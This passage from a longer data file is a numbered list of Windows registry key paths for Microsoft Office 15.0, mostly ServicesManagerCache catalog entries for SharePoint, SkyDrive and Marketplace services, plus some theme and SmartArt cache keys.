  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1447. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
